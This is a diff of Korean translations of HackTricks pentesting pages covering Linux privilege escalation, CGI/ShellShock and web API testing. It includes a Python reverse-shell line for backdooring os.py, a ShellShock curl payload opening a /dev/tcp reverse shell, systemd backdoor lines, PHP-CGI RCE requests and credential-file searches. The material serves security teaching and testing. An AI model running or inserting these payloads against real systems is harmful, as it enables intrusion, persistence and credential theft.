`/etc/master.passwd`에 위치해 있으며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경되었습니다. +참고: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치해 있으며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 바뀝니다. -일부 민감한 파일에 **쓸 수 있는지** 확인해야 합니다. 예를 들어, 일부 **서비스 구성 파일**에 쓸 수 있나요? +민감한 파일들에 **쓰기 가능한지** 확인해야 합니다. 예를 들어, 어떤 **서비스 구성 파일**에 쓸 수 있나요? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -예를 들어, 머신에서 **tomcat** 서버가 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 할 수 있다면, 다음 라인들을 수정할 수 있습니다: +예를 들어 머신에서 **tomcat** 서버가 실행 중이고 **modify the Tomcat service configuration file inside /etc/systemd/,** 할 수 있다면 다음과 같이 줄을 수정할 수 있습니다: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -당신의 backdoor는 tomcat이 다음에 시작될 때 실행될 것입니다. +tomcat이 다음에 시작될 때 당신의 backdoor가 실행됩니다. ### 폴더 확인 -다음 폴더들은 백업이나 흥미로운 정보를 포함하고 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (아마 마지막 항목은 읽을 수 없겠지만 시도해보세요) +다음 폴더에는 백업 또는 흥미로운 정보가 포함되어 있을 수 있습니다: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (마지막 항목은 읽을 수 없을 가능성이 높지만 시도해 보세요) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` @@ -1349,11 +1364,11 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일들 +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일 ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` -### 숨김 파일 +### 숨겨진 파일 ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` @@ -1373,22 +1388,22 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### 비밀번호를 포함할 수 있는 알려진 파일들 +### Known files containing passwords -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **비밀번호를 포함할 수 있는 여러 가능한 파일들**을 검색한다.\ -**또 다른 흥미로운 도구**로서 사용할 수 있는 것은: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)이며, Windows, Linux & Mac에 저장된 많은 비밀번호를 로컬 컴퓨터에서 복구하는 데 사용되는 오픈 소스 애플리케이션이다. +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)의 코드를 읽어보면, **비밀번호를 포함하고 있을 수 있는 여러 파일들**을 검색합니다.\ +이를 위해 사용할 수 있는 **또 다른 흥미로운 도구**는: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, Windows, Linux & Mac의 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다. -### 로그 +### Logs -로그를 읽을 수 있다면, 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있을 것이다. 로그가 더 이상할수록 더 흥미로울 가능성이 높다.\ -또한, 일부 "**bad**"로 구성된 (backdoored?) **audit logs**는 이 게시물에서 설명된 것처럼 audit logs 내부에 비밀번호를 **기록**하도록 허용할 수 있다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +로그를 읽을 수 있다면, 그 안에서 **흥미로운/기밀 정보**를 찾을 수 있을지도 모릅니다. 로그가 이상할수록 더 흥미로울 가능성이 큽니다 (아마도).\ +또한, 일부 "**bad**"로 구성된(백도어된?) **audit logs**는 이 포스트에 설명된 것처럼 내부에 비밀번호를 **기록**하게 할 수도 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -로그를 읽기 위해서는 **로그를 읽을 수 있는 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)이 정말 도움이 됩니다. +**로그를 읽기 위해서는** [**adm**](interesting-groups-linux-pe/index.html#adm-group) 그룹이 정말 도움이 됩니다. -### 쉘 파일 +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1399,43 +1414,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### 일반 Creds 검색/Regex -파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 안의 IPs와 emails, 또는 해시용 정규식도 확인하세요.\ -여기서 이 모든 방법을 어떻게 수행하는지는 일일이 적지 않겠습니다. 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)에서 수행하는 마지막 검사들을 확인해보세요. +파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 안의 IPs와 emails, 또는 hashes regexps도 확인해야 합니다.\ +여기에서 이 모든 작업을 어떻게 수행하는지 일일이 설명하지는 않겠습니다. 관심이 있으면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사들을 확인하세요. ## 쓰기 가능한 파일 ### Python library hijacking -만약 python script가 실행될 **어디서**를 알고 있고 해당 폴더에 **쓸 수 있다면** 또는 python 라이브러리를 **수정할 수 있다면**, OS library를 수정해 백도어를 심을 수 있습니다 (python script가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해서 붙여넣으세요). +만약 어떤 경로에서 **어디에서** a python script가 실행될지 알고 그 폴더에 **그 폴더에 쓸 수 있다면** 또는 **modify python libraries**할 수 있다면, OS 라이브러리를 수정하여 backdoor를 심을 수 있습니다 (python 스크립트가 실행되는 위치에 쓸 수 있다면 os.py 라이브러리를 복사해서 붙여넣으세요). -라이브러리에 **backdoor the library** 하려면 os.py 라이브러리의 끝에 다음 줄을 추가하세요 (IP와 PORT를 변경하세요): +To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate 악용 -`logrotate`의 취약점으로 로그 파일 또는 상위 디렉터리에 대해 **쓰기 권한**을 가진 사용자가 권한 상승을 얻을 수 있습니다. 이는 `logrotate`가 종종 **root**로 실행되어 임의 파일을 실행하도록 조작될 수 있기 때문이며, 특히 _**/etc/bash_completion.d/**_ 같은 디렉터리에서 그렇습니다. 권한은 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리에서 확인해야 합니다. +`logrotate`의 취약점은 로그 파일이나 그 상위 디렉터리에 **쓰기 권한**이 있는 사용자가 권한 상승을 할 수 있게 합니다. `logrotate`가 흔히 **root**로 실행되며 _**/etc/bash_completion.d/**_ 같은 디렉터리에서 임의 파일을 실행하도록 조작될 수 있기 때문입니다. 따라서 _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리의 권한을 확인하는 것이 중요합니다. > [!TIP] -> 이 취약점은 `logrotate` 버전 `3.18.0` 및 이전 버전에 영향을 미칩니다 +> 이 취약점은 `logrotate` 버전 `3.18.0` 및 그 이전 버전에 영향을 줍니다 -취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +자세한 취약점 정보는 다음 페이지에서 확인할 수 있습니다: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). 이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다. -이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 와 매우 유사하므로, 로그를 변경할 수 있음을 발견하면 로그를 누가 관리하는지 확인하고 로그를 심볼릭 링크로 대체하여 권한 상승이 가능한지 확인하세요. +이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** 와 매우 유사하므로, 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 symlink로 대체하여 권한 상승이 가능한지 확인하십시오. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**취약점 참조:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -만약 어떤 이유로 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **쓰기** 할 수 있거나 기존 것을 **수정**할 수 있다면, 당신의 시스템은 **pwned** 상태가 됩니다. +어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-` 스크립트를 **작성**할 수 있거나 기존 스크립트를 **수정**할 수 있다면, **시스템은 pwned 상태입니다**. -Network scripts, _ifcg-eth0_ for example are used for network connections. 이들은 .INI 파일과 정확히 동일하게 보입니다. 하지만 Linux에서 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다. +네트워크 스크립트(예: _ifcg-eth0_)는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일하게 보입니다. 그러나 Linux에서 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다. -내 경우, 이러한 네트워크 스크립트의 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 **공백(white/blank space)** 가 있으면 시스템은 공백 뒤의 부분을 실행하려고 합니다. 즉, **첫 번째 공백 뒤의 모든 내용이 root로 실행됩니다**. +내 경우 이 네트워크 스크립트들에서 `NAME=` 속성이 올바르게 처리되지 않았습니다. 이름에 공백이 있으면 시스템은 공백 이후의 부분을 실행하려고 합니다. 즉, **첫 번째 공백 이후의 모든 것이 root로 실행됩니다**. 예: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1443,17 +1458,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_네트워크와 /bin/id_ 사이의 공백을 주의하세요_) +(_Network와 /bin/id 사이의 공백을 주목하세요_) -### **init, init.d, systemd 및 rc.d** +### **init, init.d, systemd, and rc.d** -디렉터리 `/etc/init.d` 는 System V init (SysVinit) 용 **스크립트**의 저장 위치입니다. 여기에는 서비스 `start`, `stop`, `restart`, 때로는 `reload` 를 수행하는 스크립트들이 포함되어 있습니다. 이 스크립트들은 직접 실행되거나 `/etc/rc?.d/` 에 있는 심볼릭 링크를 통해 호출될 수 있습니다. Redhat 계열에서는 대체 경로로 `/etc/rc.d/init.d` 가 사용됩니다. +The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. -반면에 `/etc/init` 은 **Upstart** 와 연관되어 있으며, Ubuntu에서 도입된 새로운 **service management** 방식으로 서비스 관리를 위한 설정 파일을 사용합니다. Upstart로 전환되었음에도 불구하고, Upstart의 호환성 레이어 때문에 SysVinit 스크립트가 Upstart 설정과 함께 여전히 사용됩니다. +On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. -**systemd** 는 현대적인 초기화 및 서비스 관리자로 등장했으며, on-demand daemon 시작, automount 관리, 시스템 상태 스냅샷 등 고급 기능을 제공합니다. 패키지 배포용 파일은 `/usr/lib/systemd/` 에, 관리자가 수정하는 파일은 `/etc/systemd/system/` 에 정리되어 있어 시스템 관리 작업을 단순화합니다. +**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. -## 기타 요령 +## Other Tricks ### NFS Privilege escalation @@ -1478,7 +1493,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks는 일반적으로 privileged한 커널 기능을 userspace manager에 노출하기 위해 syscall을 훅합니다. 약한 manager 인증(예: FD-order 기반의 서명 검사 또는 취약한 비밀번호 체계)은 로컬 앱이 manager를 가장하여 이미 루팅된 장치에서 root로 상승할 수 있게 할 수 있습니다. 자세한 내용 및 익스플로잇 세부사항은 다음을 참조하세요: +Android rooting frameworks는 일반적으로 privileged kernel 기능을 userspace manager에 노출하기 위해 syscall을 hook합니다. 약한 manager 인증(예: FD-order에 기반한 signature checks나 취약한 password schemes)은 로컬 앱이 manager를 사칭하여 이미-rooted된 기기에서 root로 권한을 상승시킬 수 있습니다. 자세한 내용과 익스플로잇 세부사항은 다음을 참조하세요: {{#ref}} @@ -1487,20 +1502,20 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -VMware Tools/Aria Operations의 regex 기반 서비스 검색은 프로세스 커맨드 라인에서 바이너리 경로를 추출하고 privileged 컨텍스트에서 해당 바이너리를 -v 옵션과 함께 실행할 수 있습니다. 느슨한 패턴(예: \S 사용)은 쓰기 가능한 위치(예: /tmp/httpd)에 공격자가 배치한 리스너와 매치될 수 있으며, 그 결과 root로 실행될 수 있습니다 (CWE-426 Untrusted Search Path). +Regex-driven service discovery in VMware Tools/Aria Operations can extract a binary path from process command lines and execute it with -v under a privileged context. Permissive patterns (e.g., using \S) may match attacker-staged listeners in writable locations (e.g., /tmp/httpd), leading to execution as root (CWE-426 Untrusted Search Path). -자세한 내용과 다른 discovery/monitoring 스택에도 적용 가능한 일반화된 패턴은 다음을 참조하세요: +Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## 커널 보안 보호 +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## 추가 도움말 +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) @@ -1513,13 +1528,13 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** 리눅스와 MAC의 커널 취약점을 열거합니다 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 참고자료 +## References - [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) - [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index db7484199..8ddaadd6e 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -5,20 +5,20 @@ ## 정보 -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** (`/usr/share/webshells/perl/perl-reverse-shell.pl`), **change the extension** from **.pl** to **.cgi**, give **execute permissions** (`chmod +x`) and **access** the reverse shell **from the web browser** to execute it. -CGI vulns를 테스트하기 위해 `nikto -C all` (및 모든 플러그인) 사용을 권장한다. +The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. +In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(및 모든 플러그인\) ## **ShellShock** -**ShellShock**는 Unix 기반 운영체제에서 널리 사용되는 명령줄 쉘인 **Bash**에 영향을 미치는 **vulnerability**이다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 능력을 겨냥한다. 취약점은 프로세스의 동작에 영향을 주는 동적 이름 값인 **environment variables**의 조작에 있다. 공격자는 여기에 **malicious code**를 붙여 변수가 전달될 때 실행되도록 하여 시스템을 침해할 수 있다. +**ShellShock**은 Unix 계열 운영체제에서 널리 사용되는 **Bash** 명령줄 셸에 영향을 미치는 **취약점**입니다. 이 취약점은 애플리케이션이 전달한 명령을 Bash가 실행하는 기능을 목표로 합니다. 취약점은 프로세스 실행 방식에 영향을 주는 동적 이름-값인 **환경 변수(environment variables)** 조작에 있습니다. 공격자는 환경 변수에 **악성 코드**를 첨부하고, 해당 변수를 수신할 때 코드가 실행되도록 하여 이를 악용할 수 있습니다. 이를 통해 시스템을 손상시킬 가능성이 있습니다. -이 취약점을 악용하면 **페이지가 오류를 발생시킬 수 있다**. +이 취약점을 악용하면 **페이지가 에러를 발생시킬 수** 있습니다. -이 취약점을 **찾을 수 있다**는 것은 **old Apache version**과 **cgi_mod** (with cgi folder)을 사용 중인지 확인하거나 **nikto**를 사용하는 것으로 알 수 있다. +이 취약점을 찾으려면 해당 서버가 **old Apache version**과 **cgi_mod** \(with cgi folder\)을 사용하고 있는지 확인하거나 **nikto**를 사용하면 됩니다. ### **테스트** -대부분의 테스트는 echo로 무언가를 출력하고 해당 문자열이 웹 응답에 반환되는지를 확인하는 방식이다. 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하라. +대부분의 테스트는 echo 명령으로 무언가를 출력하고 그 문자열이 웹 응답에 반환되는지 확인하는 방식입니다. 특정 페이지가 취약할 수 있다고 생각되면 모든 cgi pages를 찾아 테스트하세요. **Nmap** ```bash @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## 중앙집중형 CGI 디스패처 (selector 매개변수를 통한 단일 엔드포인트 라우팅) +## 중앙집중식 CGI 디스패처 (선택자 파라미터를 통한 단일 엔드포인트 라우팅) -많은 임베디드 웹 UI는 단일 CGI 엔드포인트(예: `/cgi-bin/cstecgi.cgi`) 뒤에 수십 가지 권한 있는 동작을 다중화하고, `topicurl=`와 같은 selector 매개변수를 사용해 요청을 내부 함수로 라우팅합니다. +많은 임베디드 웹 UI는 하나의 CGI 엔드포인트(예: `/cgi-bin/cstecgi.cgi`) 뒤에 수십 개의 권한 있는 동작을 멀티플렉스하고 `topicurl=` 같은 선택자 파라미터로 요청을 내부 함수로 라우팅합니다. -Methodology to exploit these routers: +이러한 라우터를 악용하는 방법론: -- Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Test unauthenticated reachability: some handlers forget auth checks and are directly callable. -- Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen `-`. +- 핸들러(handler) 이름 열거: scrape JS/HTML, wordlists로 brute-force, 또는 firmware를 unpack하고 dispatcher에서 사용된 handler 문자열을 grep. +- 인증 없는 접근성 테스트: 일부 handlers는 auth checks를 잊어버려 직접 호출 가능함. +- system utilities를 호출하거나 파일을 touch 하는 handlers에 집중: 약한 validators는 종종 몇 문자만 차단하고 선행 하이픈 `-`을 놓칠 수 있음. -Generic exploit shapes: +일반적인 익스플로잇 형태: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -77,30 +77,30 @@ topicurl=setWizardCfg&=/etc/init.d/S99rc ``` 탐지 및 강화: -- 중앙화된 CGI 엔드포인트로의 인증되지 않은 요청 중 `topicurl`이 민감한 handlers로 설정된 것을 주시하세요. -- 앞에 `-`로 시작하는 파라미터를 탐지하세요 (argv option injection attempts). -- 벤더: 모든 상태 변경 handlers에 대해 인증을 강제하고, 엄격한 allowlists/types/lengths로 검증하며, 사용자 제어 문자열을 command-line flags로 절대 전달하지 마세요. +- 중앙화된 CGI 엔드포인트에 대해 `topicurl`이 민감한 핸들러로 설정된 인증되지 않은 요청을 주시하세요. +- 파라미터가 `-`로 시작하는 경우 플래그 처리하세요 (argv option injection attempts). +- 벤더: 모든 상태 변경 핸들러에 대해 인증을 강제하고, 엄격한 허용목록/타입/길이로 검증하며, 사용자 제어 문자열을 커맨드라인 플래그로 절대 전달하지 마세요. -## 구형 PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) +## Old PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -기본적으로 cgi가 활성화되어 있고 php가 "구형" \(<5.3.12 / < 5.4.2\)인 경우 코드를 실행할 수 있습니다. -이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 보내지 않고 접근해야 합니다 \(특히 문자 "="을 보내지 않고\). -그런 다음 이 취약점을 테스트하려면 예를 들어 `/index.php?-s` \(`-s`에 주의\)에 접근하면 **애플리케이션의 소스 코드가 응답에 나타납니다**. +기본적으로 cgi가 활성화되어 있고 php가 "구버전" (<5.3.12 / < 5.4.2)일 경우 코드를 실행할 수 있습니다. +이 취약점을 악용하려면 웹 서버의 PHP 파일에 파라미터를 전송하지 않고 접근해야 합니다(특히 '=' 문자를 보내지 않아야 합니다). +그런 다음, 이 취약점을 테스트하려면 예를 들어 `/index.php?-s`에 접근할 수 있습니다( `-s`에 주목) 그리고 응답에 애플리케이션의 **소스 코드가 표시됩니다**. -그런 다음 **RCE**를 얻기 위해서는 다음 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 실행할 **PHP 코드**는 요청의 **본문**에 넣습니다. -Example: +그런 다음 **RCE**를 얻기 위해 다음과 같은 특수 쿼리를 보낼 수 있습니다: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` 그리고 실행할 **PHP 코드**는 **요청 본문(body of the request)**에 넣습니다. +예시: ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` -**취약점 및 가능한 익스플로잇에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** +**vuln 및 가능한 exploits에 대한 추가 정보:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** ## **Proxy \(MitM to Web server requests\)** -CGI는 http request의 각 헤더마다 환경 변수를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. +CGI는 http 요청의 각 header에 대해 환경 변수(environment variable)를 생성합니다. 예를 들어: "host:web.com"은 "HTTP_HOST"="web.com"으로 생성됩니다. -웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음을 포함하는 **header**를 전송해 보세요: "**Proxy: <IP_attacker>:<PORT>**" 그리고 세션 중 서버가 어떤 요청을 수행하면, 서버가 만든 각 요청을 캡처할 수 있습니다. +웹 서버가 HTTP_PROXY 변수를 사용할 수 있으므로, 다음과 같은 **header**를 전송해 보세요: "**Proxy: <IP_attacker>:<PORT>**". 서버가 세션 중에 어떠한 요청을 수행하면, 해당 서버가 수행하는 모든 요청을 가로챌 수 있습니다. -## **참고자료** +## **참조** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 745bb4ce4..55a7abadc 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,55 +1,97 @@ -# 웹 API 침투 테스트 +# 웹 API Pentesting {{#include ../../banners/hacktricks-training.md}} -## API 침투 테스트 방법론 요약 +## API Pentesting 방법론 요약 -API 침투 테스트는 취약점을 발견하기 위한 구조화된 접근 방식을 포함합니다. 이 가이드는 실용적인 기술과 도구를 강조하는 포괄적인 방법론을 요약합니다. +API Pentesting은 취약점을 발견하기 위한 구조화된 접근을 필요로 한다. 이 가이드는 실무 중심의 기법과 도구를 강조하는 포괄적인 방법론을 요약한다. -### **API 유형 이해하기** +### **API 유형 이해** -- **SOAP/XML 웹 서비스**: 문서화에 WSDL 형식을 사용하며, 일반적으로 `?wsdl` 경로에서 찾을 수 있습니다. **SOAPUI** 및 **WSDLer** (Burp Suite 확장)와 같은 도구는 요청을 파싱하고 생성하는 데 유용합니다. 예제 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 접근할 수 있습니다. -- **REST APIs (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/)와 같은 도구는 상호작용을 위한 보다 사용자 친화적인 인터페이스를 제공합니다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용한 도구입니다. -- **GraphQL**: API를 위한 쿼리 언어로, API의 데이터에 대한 완전하고 이해 가능한 설명을 제공합니다. +- **SOAP/XML Web Services**: 문서화에 WSDL 형식을 사용하며, 일반적으로 `?wsdl` 경로에서 찾을 수 있다. **SOAPUI** 및 **WSDLer**(Burp Suite Extension) 같은 도구는 요청을 파싱하고 생성하는 데 유용하다. 예시 문서는 [DNE Online](http://www.dneonline.com/calculator.asmx)에서 확인할 수 있다. +- **REST APIs (JSON)**: 문서는 종종 WADL 파일로 제공되지만, [Swagger UI](https://swagger.io/tools/swagger-ui/) 같은 도구가 더 친숙한 인터페이스를 제공한다. **Postman**은 예제 요청을 생성하고 관리하는 데 유용하다. +- **GraphQL**: API용 쿼리 언어로, API의 데이터에 대해 완전하고 이해하기 쉬운 설명을 제공한다. -### **실습 실험실** +### **실습 랩** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP 상위 10 API 취약점을 다루는 실습을 위한 의도적으로 취약한 API입니다. +- [**VAmPI**](https://github.com/erev0s/VAmPI): 